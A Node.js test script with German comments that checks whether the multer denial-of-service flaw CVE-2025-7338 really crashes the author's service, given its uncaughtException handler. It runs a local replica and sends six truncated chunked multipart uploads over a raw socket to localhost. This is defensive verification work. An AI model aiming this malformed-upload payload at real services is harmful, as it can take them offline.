/* ===================================================================== Stürzt der Dienst bei dem multer-Fehler wirklich ab? WARUM DIESER TEST Am 27.08.2026 hatte ich gemeldet: multer 1.4.5-lts.2 hat eine DoS-Lücke (CVE-2025-7338), ein fehlerhafter Upload beendet den Prozess, nach fünf Malen gibt systemd auf -> Dienst dauerhaft tot. Beim Nacharbeiten fiel mir das Ende von index.js auf: process.on("uncaughtException", (fehler) => console.error(...)); Ein registrierter uncaughtException-Handler verhindert genau das Beenden, das der CVE beschreibt. Damit steht meine eigene Meldung in Frage -- und eine Sicherheitsmeldung, die dramatischer klingt als die Wirklichkeit, ist genauso schädlich wie eine übersehene Lücke: Beim nächsten Mal glaubt sie niemand mehr. Also gemessen statt vermutet. Der Test baut denselben Aufbau nach, den der echte Dienst hat, schickt den bösartigen Request und schaut, ob der Prozess danach noch antwortet. ===================================================================== */ import { spawn } from "node:child_process"; import { writeFileSync, rmSync, mkdtempSync } from "node:fs"; import { tmpdir } from "node:os"; import { join } from "node:path"; const wurzel = mkdtempSync(join(tmpdir(), "multertest-")); const PORT = 47311; /* Der Nachbau: dieselben multer-Einstellungen wie in index.js, und -- entscheidend -- derselbe uncaughtException-Handler am Ende. */ const server = ` import express from "express"; import multer from "multer"; /* Jeder mögliche Weg wird laut protokolliert, damit sichtbar wird, WELCHER genommen wird -- nicht nur, ob der Dienst überlebt. */ process.on("uncaughtException", (f) => console.error("WEG=uncaughtException", f?.message || f)); process.on("unhandledRejection", (g) => console.error("WEG=unhandledRejection", g?.message || g)); const app = express(); const up = multer({ storage: multer.diskStorage({ destination: (req, file, cb) => cb(null, ${JSON.stringify(wurzel).replace(/\\\\/g, "/")}), filename: (req, file, cb) => cb(null, "x" + Date.now()), }), limits: { fileSize: 5 * 1024 * 1024 }, fileFilter: (req, file, cb) => cb(null, ["image/jpeg","image/png","image/webp"].includes(file.mimetype)), }); app.post("/upload", (req, res) => { up.single("image")(req, res, (err) => { if (err) { console.error("WEG=callback-fehler", err?.code || err?.message); return res.status(400).json({ ok:false }); } res.json({ ok: true }); }); }); app.get("/lebt", (req, res) => res.json({ ok: true })); app.use((err, req, res, next) => { console.error("WEG=express-fehlerhandler", err?.code || err?.message); res.status(500).json({ ok: false }); }); app.listen(${PORT}, () => console.log("BEREIT")); `; /* Die Datei MUSS neben den Paketen liegen: Node sucht node_modules von der Datei aus aufwärts, nicht vom Arbeitsverzeichnis. In /tmp abgelegt findet sie weder express noch multer und startet gar nicht erst. */ const datei = join(process.cwd(), "server-internal", "tmp-dos-nachbau.mjs"); writeFileSync(datei, server); const kind = spawn(process.execPath, [datei], { stdio: ["ignore", "pipe", "pipe"] }); let ausgabe = ""; kind.stdout.on("data", (d) => { ausgabe += d; }); kind.stderr.on("data", (d) => { ausgabe += d; }); await new Promise((f) => { const warte = setInterval(() => { if (ausgabe.includes("BEREIT")) { clearInterval(warte); f(); } }, 100); setTimeout(() => { clearInterval(warte); f(); }, 8000); }); const version = (await import("./server-internal/node_modules/multer/package.json", { with: { type: "json" } })).default.version; console.log("\ngetestete multer-Fassung:", version); console.log("laeuft der Nachbau? ", ausgabe.includes("BEREIT") ? "ja" : "NEIN — Abbruch"); if (!ausgabe.includes("BEREIT")) { console.log("Ausgabe:", ausgabe.slice(0, 400)); kind.kill(); rmSync(wurzel, { recursive: true, force: true }); rmSync(datei, { force: true }); process.exitCode = 1; } const lebt = async () => { try { const a = await fetch(`http://127.0.0.1:${PORT}/lebt`, { signal: AbortSignal.timeout(3000) }); return a.ok; } catch { return false; } }; console.log("\n--- vorher ---"); console.log(" Dienst antwortet:", await lebt() ? "ja" : "nein"); /* Der bösartige Request, diesmal RICHTIG. fetch() taugt dafür nicht: Es sendet immer einen vollständigen, in sich stimmigen Request. Der Angriff aus CVE-2025-7338 besteht aber genau darin, dass der Client MEHR Daten ankündigt (content-length), als er sendet, und dann die Verbindung schließt. multer wartet auf den Rest, das Formular endet unerwartet -> "Unexpected end of form". Das geht nur über einen rohen Socket, den man von Hand abschneidet. */ import net from "node:net"; function boesartigerUpload(nr) { return new Promise((fertig) => { const grenze = "----angriff" + nr; /* Ein gueltig BEGONNENER Multipart-Teil, der busboy zum Parsen bringt, dann aber ohne Abschluss-Grenze endet. */ const teil = `--${grenze}\r\n` + `Content-Disposition: form-data; name="image"; filename="a.png"\r\n` + `Content-Type: image/png\r\n\r\n` + `ANFANG-DER-DATEN-OHNE-ENDE`; /* chunked statt content-length: Ich sende einen gueltigen Chunk und schliesse dann die Verbindung, OHNE den abschliessenden 0-Chunk. Fuer busboy sieht das aus wie ein Formular, das mitten im Lesen abreisst -- genau der Ausloeser fuer "Unexpected end of form". Anders als beim harten destroy() hat Node den Request hier bereits an Express uebergeben, multer parst also schon. */ const chunk = teil.length.toString(16) + "\r\n" + teil + "\r\n"; const kopf = `POST /upload HTTP/1.1\r\n` + `Host: 127.0.0.1:${PORT}\r\n` + `Content-Type: multipart/form-data; boundary=${grenze}\r\n` + `Transfer-Encoding: chunked\r\n` + `Connection: close\r\n\r\n`; let erledigt = false; const schluss = () => { if (!erledigt) { erledigt = true; setTimeout(fertig, 200); } }; const s = net.connect(PORT, "127.0.0.1", () => { s.write(kopf + chunk); /* busboy Zeit zum Anlesen geben, dann Verbindung beenden -- der 0-Abschluss-Chunk kommt nie. */ setTimeout(() => s.end(), 300); }); s.on("error", () => {}); s.on("close", schluss); /* Harte Grenze: Ein haengender Request (busboy wartet ewig auf den Rest) darf den Test nicht blockieren -- das Haengen IST bereits ein Befund, nur eben "Ressourcenleck", nicht "Absturz". */ setTimeout(() => { try { s.destroy(); } catch {} schluss(); }, 2500); }); } console.log("\n--- fehlerhafter Upload wird geschickt (roher Socket) ---"); for (let i = 1; i <= 6; i++) { await boesartigerUpload(i); const l = await lebt(); console.log(` Versuch ${i}: Dienst danach ${l ? "lebt" : "TOT"}`); if (!l) break; } console.log("\n--- Ergebnis ---"); const amLeben = await lebt(); console.log(amLeben ? " Der Dienst lebt nach allen Versuchen. Absturz NICHT ausgeloest." : " Der Dienst ist TOT. Die Lücke beendet den Prozess wie beschrieben."); console.log("\n--- welchen Weg nahm der Fehler? ---"); const wege = ausgabe.split("\n").filter((z) => z.includes("WEG=")).map((z) => z.trim()); if (!wege.length) { console.log(" KEINEN — der Angriff hat multer gar nicht erreicht. Test aussagelos."); } else { const zaehl = {}; for (const w of wege) { const k = w.split(" ")[0]; zaehl[k] = (zaehl[k] || 0) + 1; } for (const [k, n] of Object.entries(zaehl)) console.log(` ${k} (${n}x)`); console.log(" Beispiel:", wege[0]); } kind.kill(); rmSync(wurzel, { recursive: true, force: true }); rmSync(datei, { force: true });